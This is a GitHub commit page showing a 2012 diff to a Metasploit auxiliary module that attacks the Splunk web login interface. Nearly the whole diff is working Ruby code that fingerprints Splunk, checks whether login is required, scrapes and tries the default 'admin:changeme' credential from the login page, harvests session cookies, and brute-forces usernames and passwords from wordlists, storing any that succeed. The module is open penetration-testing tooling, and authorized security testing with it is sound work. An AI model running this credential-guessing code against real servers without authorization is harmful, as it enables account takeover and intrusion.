Skip to content

Commit

Permalink
Lots of changes made
Browse files Browse the repository at this point in the history
These changes include:
* More description
* Checks if auth is actually required.
* Collects the default credential on the webpage, and then tries it.
* Fixes possible nil 'Set-Cookie' header.
* Supports more options (USERPASS_FILE, USER_FILE, PASS_FILE)
* Removes the msg() function.
  • Loading branch information
sinn3r committed Nov 26, 2012
1 parent 8437d26 commit af451df
Showing 1 changed file with 108 additions and 68 deletions.
176 changes: 108 additions & 68 deletions modules/auxiliary/scanner/http/splunk_web_login.rb
@@ -1,7 +1,3 @@
##
# splunk_web_login.rb
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
Expand All @@ -16,108 +12,155 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute

include Msf::Auxiliary::Scanner

def initialize
super(
def initialize(info={})
super(update_info(info,
'Name' => 'Splunk Web interface Login Utility',
'Description' => %{
This module simply attempts to login to a Splunk
web iterface using a specific user/pass.
This module simply attempts to login to a Splunk web interface. Please note the
free version of Splunk actually does not require any authentication, in that case
the module will abort trying. Also, some Splunk applications still have the
default credential 'admin:changeme' written on the login page. If this default
credential is found, the module will also store that information, and then move on
to trying more passwords.
},
'Author' => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
'Author' =>
[
'Vlatko Kosturjak <kost[at]linux.hr>',
'sinn3r'
],
'License' => MSF_LICENSE
)
))

register_options(
[
Opt::RPORT(8000),
OptString.new('URI', [true, "URI for Splunk Web login. Default is /en-US/account/login", "/en-US/account/login"]),
OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]),
OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", false])
OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line",
File.join(Msf::Config.install_root, "data", "wordlists", "http_default_userpass.txt") ]),
OptPath.new('USER_FILE', [ false, "File containing users, one per line",
File.join(Msf::Config.install_root, "data", "wordlists", "http_default_users.txt") ]),
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
File.join(Msf::Config.install_root, "data", "wordlists", "http_default_pass.txt") ])
], self.class)
end

def run_host(ip)
begin
res = send_request_cgi({
'uri' => datastore['URI'],
'method' => 'GET'
}, 25)
http_fingerprint({ :response => res })
rescue ::Rex::ConnectionError => e
vprint_error("#{msg} #{datastore['URI']} - #{e}")
if not is_app_splunk?
print_error("Application does not appear to be Splunk. Module will not continue.")
return
end

if not res
vprint_error("#{msg} #{datastore['URI']} - No response")
return
end
if !(res.code == 200)
vprint_error("#{msg} - Expected 200 HTTP code - not Splunk? Got: #{res.code}")
return
end
if res.body !~ /Splunk/
vprint_error("#{msg} - Expected Splunk page - not Splunk web interface? #{res.body}")
print_status("Checking if authentication is required...")
if not is_auth_required?
print_warning("Application does not require authentication.")
return
end

status = try_default_credential
return if status == :abort

print_status("Brute-forcing...")
each_user_pass do |user, pass|
do_login(user, pass)
end
end

def do_login(user='admin', pass='changeme')
vprint_status("#{msg} - Trying username:'#{user}' with password:'#{pass}'")
begin
res = send_request_cgi({
'uri' => datastore['URI'],
'method' => 'GET'
}, 25)

# stolen from splunk_mappy_exec.rb
cval = ''
uid = ''
session_id_port =
session_id = ''
if res and res.code == 200
res.headers['Set-Cookie'].split(';').each {|c|
c.split(',').each {|v|
if v.split('=')[0] =~ /cval/
cval = v.split('=')[1]
elsif v.split('=')[0] =~ /uid/
uid = v.split('=')[1]
elsif v.split('=')[0] =~ /session_id/
session_id_port = v.split('=')[0]
session_id = v.split('=')[1]
end
}
#
# What's the point of running this module if the app actually isn't Splunk?
#
def is_app_splunk?
res = send_request_raw({'uri' => datastore['URI']})
return (res and res.code == 200 and res.body =~ /Splunk/)
end

def get_login_cookie
res = send_request_raw({'uri' => datastore['URI']})

uid = ''
session_id_port = ''
session_id = ''
cval = ''

if res and res.code == 200 and res.headers['Set-Cookie']
res.headers['Set-Cookie'].split(';').each {|c|
c.split(',').each {|v|
if v.split('=')[0] =~ /cval/
cval = v.split('=')[1]
elsif v.split('=')[0] =~ /uid/
uid = v.split('=')[1]
elsif v.split('=')[0] =~ /session_id/
session_id_port = v.split('=')[0]
session_id = v.split('=')[1]
end
}
else
print_error("#{msg} Failed to get login cookies, aborting")
}
return uid.strip, session_id_port.strip, session_id.strip, cval.strip
end

return nil
end


#
# Test and see if the default credential works
#
def try_default_credential
p = /Splunk's default credentials are <\/p><p>username: <span>(.+)<\/span><br \/>password: <span>(.+)<\/span>/
res = send_request_raw({'uri' => datastore['URI']})
user, pass = res.body.scan(p).flatten
do_login(user, pass) if user and pass
end


#
# The free version of Splunk does not require authentication. Instead, it'll log the
# user right in as 'admin'. If that's the case, no point to brute-force, either.
#
def is_auth_required?
uid, session_id_port, session_id, cval = get_login_cookie
res = send_request_raw({
'uri' => '/en-US/app/launcher/home',
'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}"
})

return (res and res.body =~ /Logged in as (.+)/) ? false : true
end


#
# Brute-force the login page
#
def do_login(user, pass)
vprint_status("Trying username:'#{user}' with password:'#{pass}'")
begin
cval = ''
uid, session_id_port, session_id, cval = get_login_cookie
if !uid or !session_id_port or !session_id or !cval
print_error("Failed to get login cookies, aborting!")
return :abort
end

res = send_request_cgi(
{
'uri' => datastore['URI'],
'method' => 'POST',
'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",
'uri' => datastore['URI'],
'method' => 'POST',
'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",
'vars_post' =>
{
'cval' => cval,
'cval' => cval,
'username' => user,
'password' => pass
}
}, 25)
})

if not res or res.code != 303
vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}' with code #{res.code}")
vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' with code #{res.code}")
return :skip_pass
else
print_good("#{msg} SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")

report_hash = {
:host => datastore['RHOST'],
Expand All @@ -132,12 +175,9 @@ def do_login(user='admin', pass='changeme')
return :next_user
end
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
print_error("#{msg} HTTP Connection Failed, Aborting")
print_error("HTTP Connection Failed, Aborting")
return :abort
end
end

def msg
"#{vhost}:#{rport} Splunk Web -"
end
end

0 comments on commit af451df

Please sign in to comment.